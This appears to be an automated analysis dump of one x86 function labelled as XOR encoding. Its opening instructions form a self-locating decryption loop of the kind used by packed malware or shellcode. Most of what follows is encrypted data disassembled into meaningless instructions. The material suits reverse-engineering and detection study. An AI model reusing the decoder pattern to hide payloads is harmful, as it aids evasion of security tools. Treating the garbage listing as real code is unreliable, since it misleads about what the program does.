Function at 0xdb816c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdb8176
pushal
call 0xdb817c
pop ebp
sub ebp, 0x10
sub ebp, 0x9b816c
jmp 0xdb8192
mov eax, 0x9b816c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c6
add byte [ebx], al
lds eax, [ecx + 0x4cc0]
add byte [ecx + 0x5c6], bh
mov edx, 0x85a58589
xor byte [eax], dl
inc eax
dec ecx
jne 0xdb81a9
jmp 0xdb81bc
add al, byte [edx + eax]
mov ch, 0x89
mov dword [ecx - 0x768eb7f8], ecx
mov dword [ecx - 0x73cebb76], ecx
mov dword [ecx - 0x765ecc77], ecx
mov dword [ecx + 0x418a6b7e], ecx
add cl, byte [eax]
test dword [ecx + 0x4c8a8989], ecx
fld dword [ebp*8 - 0x72ff8a53]
lodsd eax, dword [esi]
loope 0xdb825d
jbe 0xdb8196
mov ecx, esp
std
or al, dh
mov dword [eax + 0x2de1ada5], ecx
wait
mov gs, word [edi - 0x7676739f]
mov dword [eax - 0x59], esp
mov dword [ecx + 0x6502dc89], ecx
add cl, byte [ecx + eax*4]
mov dword [ecx - 0x7ae3fd77], ecx
mov dword [ecx - 0x66fbfd77], ecx
mov dword [ecx - 0x749fb777], ecx
mov eax, 0x8d4b0a8b
rol byte [esi + 0x76767d0c], 0x76
add ah, byte [ebp - 0x5212fb53]
lodsd eax, dword [esi]
lea ecx, [ebx - 0x7b]
mov dword [edx], eax
add eax, 0x89898dad
mov ecx, esp
jno 0xdb82b4
test al, 0x89
loope 0xdb823f
mov ecx, esp
std
or al, dh
mov dword [eax - 0x12fb525b], ecx
lodsd eax, dword [esi]
jne 0xdb824d
test dword [ebp - 0x7676739f], ebp
mov dword [eax - 0x22], esp
mov ecx, dword [ecx - 0x5212fb77]
jne 0xdb825e
add byte [ebp + 0x76d4ddad], ah
cld
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
fst st(4)
jbe 0xdb8260
test dword [esi - 4], esi
and dword [ecx + 0xd], 0x2898989
xor al, 0x81
mov dword [ecx - 0x4c87f777], ecx
rol byte [eax + 0x2a], 8
js 0xdb822f
rol byte [eax + 0x2a], 0xba
inc eax
or byte [ebx + 0x41], bh
imul esp, ecx, 0xffffffb3
or byte [ebx + 0x41], bh
imul esp, ecx, 0xffffffb3
mov edx, 0x8c610a5b
rol dword [esi - 0x767638f3], 0x89
xchg byte [ecx], al
ror dword [ecx + 0x2ef8989], 0x95
mov al, 9
jb 0xdb8307
xchg byte [0x89898993], cl
or dword [edx + 0x60], esi
xchg byte [0x89898998], cl
out dx, eax
mov edi, ebp
or byte [edx + 0x76], dh
lodsb al, byte [esi]
xchg byte [0x8989899c], cl
enter 0x4560, 0x76
jbe 0xdb833c
inc ebp
jbe 0xdb833b
jbe 0xdb8267
mov al, byte [0xa88b0c5]
dec eax
mov word [edx], cs
popal
lea esp, [eax + 0x34]
jbe 0xdb834a
lds esi, [eax - 0x73b7f578]
or ah, byte [ecx - 0x73]
pushal
xor al, 0x76
jbe 0xdb834b
jbe 0xdb8276
mov al, byte [0xa8bb0dd]
dec eax
invalid
fnsave dword [eax - 0x70b7f575]
or ah, byte [ebx - 0x73]
or ah, byte [ecx - 0x74]
pushal
and dh, byte [esi + 0x76]
jbe 0xdb82ea
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
add al, 0xed
lodsd eax, dword [esi]
lea ecx, [ebx - 0x7b]
mov esp, ebx
add ah, byte [ebp - 0x21]
invalid
mov dword [ecx], eax
mov cs, word [eax]
dec esi
mov byte [ecx - 0x74cd7677], cl
mov dword [ecx - 0x79a47477], ecx
or al, 0x8c
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
push ecx
jbe 0xdb839d
jbe 0xdb82b4
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
jecxz 0xdb82c2
mov dword [ecx + 0x5b8b49ba], ecx
xchg byte [esp + ecx*4], cl
mov edx, 0x865b8b49
dec ecx
mov ebx, dword [ebx - 0x7a]
or al, 0x8c
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
mov dword [0x8b898988], eax
or ah, byte [ebx - 0x74767678]
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8989, 0x8f0d8649
mov dword [edx], eax
push esi
mov byte [0x18a0351], al
mov cs, esi
xor cl, byte [ebx + 0x60898989]
stc
jbe 0xdb841a
mov dword [ecx + 0x76f96089], ecx
jbe 0xdb841b
jbe 0xdb83d7
xor dword [eax - 0x74767677], ecx
pop ebx
mov byte [ecx + 0x5b8b8989], cl
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xdb8441
jbe 0xdb836f
dec edx
xor cl, byte [eax - 0x79767677]
or al, 0xbd
mov dword [ecx - 0x7677cf77], ecx
mov dword [ecx + 0xc865b8b], ecx
mov word [ecx - 0x60fc7677], cs
iretd
mov ebp, 0x30898989
mov byte [ecx + 0x5b8b8989], cl
mov dword [ecx - 0x767677d0], ecx
mov dword [ebx - 0x73f379a5], ecx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b40
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xdb8475
jbe 0xdb83e0
add bh, byte [esi - 0x5e]
jl 0xdb8480
sub eax, 0x768160d7
jbe 0xdb8483
ror dword [eax + 0x69], 0x81
add ecx, dword [edi + 0x306102cf]
mov byte [ecx + 0x5b8b8989], cl
xchg byte [esp + ecx*4], cl
mov dword [ebx - 0x73f379a5], ecx
mov ebx, dword [ebx - 0x7a]
or al, 0x8c
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b40
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xdb84b2
jbe 0xdb8446
jno 0xdb83c9
hlt
mov dword [ecx + 0x76765008], ecx
jbe 0xdb84bf
jbe 0xdb84be
jbe 0xdb8452
or byte [ecx - 0x77], dh
jno 0xdb83d5
mov word [ecx + 0x76500889], cs
jbe 0xdb84ca
jbe 0xdb845e
jno 0xdb8461
mov dword [ecx - 0x76a7f777], ecx
mov dword [ecx + 0x9710889], ecx
or byte [ecx + 9], dh
mov dword [ecx - 0x76a7f777], ecx
mov dword [ecx + 0x7e02df89], ecx
mov byte [0xd72d7a79], al
pushal
adc dh, byte [edi + 0x76]
ja 0xdb84ef
jbe 0xdb847e
invalid
inc eax
dec ecx
popal
mov byte [esi - 0x76766cf3], al
mov dword [eax], ecx
pop eax
mov ecx, dword [ecx + 0x61028989]
fild word [edx]
or eax, 0x89898993
or byte [eax - 0x75], bl
mov dword [ecx - 0x209efd77], ecx
add bh, byte [esi - 0x5e]
jle 0xdb8436
jns 0xdb8510
sub eax, 0x898832d7
mov dword [ecx + 0x7677fa60], ecx
jbe 0xdb8477
mov byte [0x4e0281f4], al
salc
xlatb
add ch, byte [esp + edx*8 + 0x4b]
add dword [edx], 0x2d7d64e
insb byte es:[edi], dx
aam 0x4b
or dword [ecx - 0x5242fd2a], 0x8daded04
pushal
lea ecx, [ecx - 0x1c5e7677]
mov ebp, 0xaded04ad
lea esp, [eax - 0x73]
mov dword [ecx - 0x2d1c5e77], ecx
jecxz 0xdb8492
sar byte [edi], cl
aas
xor ebp, esp
or byte [edx], dl
mov dword [edx - 0xdb6f7b4], ecx
mov cl, byte [ecx - 0x74e1cf77]
mov cl, byte [ecx - 0x74e1cf77]
mov dword [ecx + 0x30c38f33], ecx
jl 0xdb8492
cdq
leave
rol byte [esi + 0x76767f0c], 0x76
pushal
lea ecx, [ecx - 0x46bd7677]
inc ecx
les ecx, [eax]
jno 0xdb84f6
js 0xdb84f4
add al, 0xf8
clc
mov bl, 8
js 0xdb84f9
add al, 0x33
xor edi, dword [eax - 0x707070d1]
mov eax, 0x8f8f8f2f
invalid
invalid
add al, 0xc0
mov ecx, dword [esi]
jne 0xdb84a5
invalid